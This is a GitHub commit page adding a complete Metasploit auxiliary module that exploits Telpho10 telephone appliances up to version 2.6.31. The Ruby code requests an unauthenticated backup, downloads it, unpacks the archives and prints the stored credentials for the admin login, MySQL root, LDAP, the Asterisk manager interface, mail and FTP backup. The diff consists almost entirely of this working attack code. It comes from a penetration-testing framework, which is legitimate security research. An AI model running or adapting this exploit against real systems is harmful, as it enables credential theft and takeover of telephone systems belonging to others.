Skip to content

Commit fb534a9

Browse files
whootpbarry-r7
authored andcommitted
add telpho10_exploit
telpho10 credential dump exploit
1 parent ffc6296 commit fb534a9

File tree

1 file changed

+152
-0
lines changed

1 file changed

+152
-0
lines changed
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rubygems/package'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Telpho10 Backup Credentials Dumper',
16+
'Description' => %q{
17+
This module exploits a vulnerability found in Telpho10 telephone system
18+
appliance. This module generates a configuration backup of Telpho10,
19+
downloads the file and dumps the credentials for admin login,
20+
phpmyadmin, phpldapadmin, etc.
21+
This module has been successfully tested on the appliance.
22+
},
23+
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
24+
'License' => MSF_LICENSE,
25+
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
26+
'Platform' => 'linux',
27+
'Targets' =>
28+
[
29+
['Telpho10 <= 2.6.31', {}]
30+
],
31+
'Privileged' => false,
32+
'DisclosureDate' => 'Sep 2 2016'))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80)
37+
], self.class)
38+
end
39+
40+
# Used for unpacking backup files
41+
def untar(tarfile)
42+
destination = tarfile.split('.tar').first
43+
FileUtils.mkdir_p(destination)
44+
File.open(tarfile, 'rb') do |file|
45+
Gem::Package::TarReader.new(file) do |tar|
46+
tar.each do |entry|
47+
dest = File.join destination, entry.full_name
48+
if entry.file?
49+
File.open(dest, 'wb') do |f|
50+
f.write(entry.read)
51+
end
52+
File.chmod(entry.header.mode, dest)
53+
end
54+
end
55+
end
56+
end
57+
return destination
58+
end
59+
60+
# search for credentials in backup file
61+
def dump_creds(mysql_file)
62+
file = File.new(mysql_file, 'r')
63+
while (line = file.gets)
64+
if line.include? 'adminusername'
65+
config = [line]
66+
end
67+
end
68+
file.close
69+
70+
puts
71+
print_status('Login (/telpho/login.php)')
72+
print_status('-------------------------')
73+
print_good('Username: ' + config.first[/adminusername\',\'(.*?)\'/, 1])
74+
print_good('Password: ' + config.first[/adminpassword\',\'(.*?)\'/, 1])
75+
puts
76+
print_status('MySQL (/phpmyadmin)')
77+
print_status('-------------------')
78+
print_good('Username: root')
79+
print_good('Password: ' + config.first[/dbpassword\',\'(.*?)\'/, 1])
80+
puts
81+
print_status('LDAP (/phpldapadmin)')
82+
print_status('--------------------')
83+
print_good('Username: ' + 'cn=admin,dc=localdomain')
84+
print_good('Password: ' + config.first[/ldappassword\',\'(.*?)\'/, 1])
85+
puts
86+
asterisk_header = 'Asterisk MI (port 5038)'
87+
print_status(asterisk_header)
88+
print_status('-' * asterisk_header.length)
89+
print_good('Username: ' + config.first[/manageruser\',\'(.*?)\'/, 1])
90+
print_good('Password: ' + config.first[/managersecret\',\'(.*?)\'/, 1])
91+
puts
92+
print_status('Mail configuration')
93+
print_status('------------------')
94+
print_good('Mailserver: ' + config.first[/ipsmarthost\',\'(.*?)\'/, 1])
95+
print_good('Username: ' + config.first[/mailusername\',\'(.*?)\'/, 1])
96+
print_good('Password: ' + config.first[/mailpassword\',\'(.*?)\'/, 1])
97+
print_good('Mail from: ' + config.first[/mailfrom\',\'(.*?)\'/, 1])
98+
puts
99+
print_status('Online Backup')
100+
print_status('-------------')
101+
print_good('ID: ' + config.first[/ftpbackupid\',\'(.*?)\'/, 1])
102+
print_good('Password: ' + config.first[/ftpbackuppw\',\'(.*?)\'/, 1])
103+
puts
104+
end
105+
106+
def run
107+
res = send_request_cgi({
108+
'uri' => '/telpho/system/backup.php',
109+
'method' => 'GET'
110+
})
111+
if res && res.code == 200
112+
print_status('Generating backup')
113+
sleep(1)
114+
else
115+
print_error("Could not find vulnerable script. Aborting.")
116+
return nil
117+
end
118+
119+
print_status('Downloading backup')
120+
res = send_request_cgi({
121+
'uri' => '/telpho/temp/telpho10.epb',
122+
'method' => 'GET'
123+
})
124+
if res && res.code == 200
125+
if res.body.to_s.bytesize == 0
126+
print_error('0 bytes returned, file does not exist or is empty.')
127+
return nil
128+
end
129+
130+
path = store_loot(
131+
'telpho10.backup',
132+
'application/x-compressed',
133+
datastore['RHOST'],
134+
res.body,
135+
'backup.tar'
136+
)
137+
print_good("File saved in: #{path}")
138+
139+
extracted = untar("#{path}")
140+
mysql = untar("#{extracted}/mysql.tar")
141+
142+
print_status('Dumping credentials')
143+
dump_creds("#{mysql}/mysql.epb")
144+
else
145+
print_error('Failed to download file.')
146+
return nil
147+
end
148+
rescue ::Rex::ConnectionError
149+
print_error("#{rhost}:#{rport} - Failed to connect")
150+
return nil
151+
end
152+
end

0 commit comments

Comments
 (0)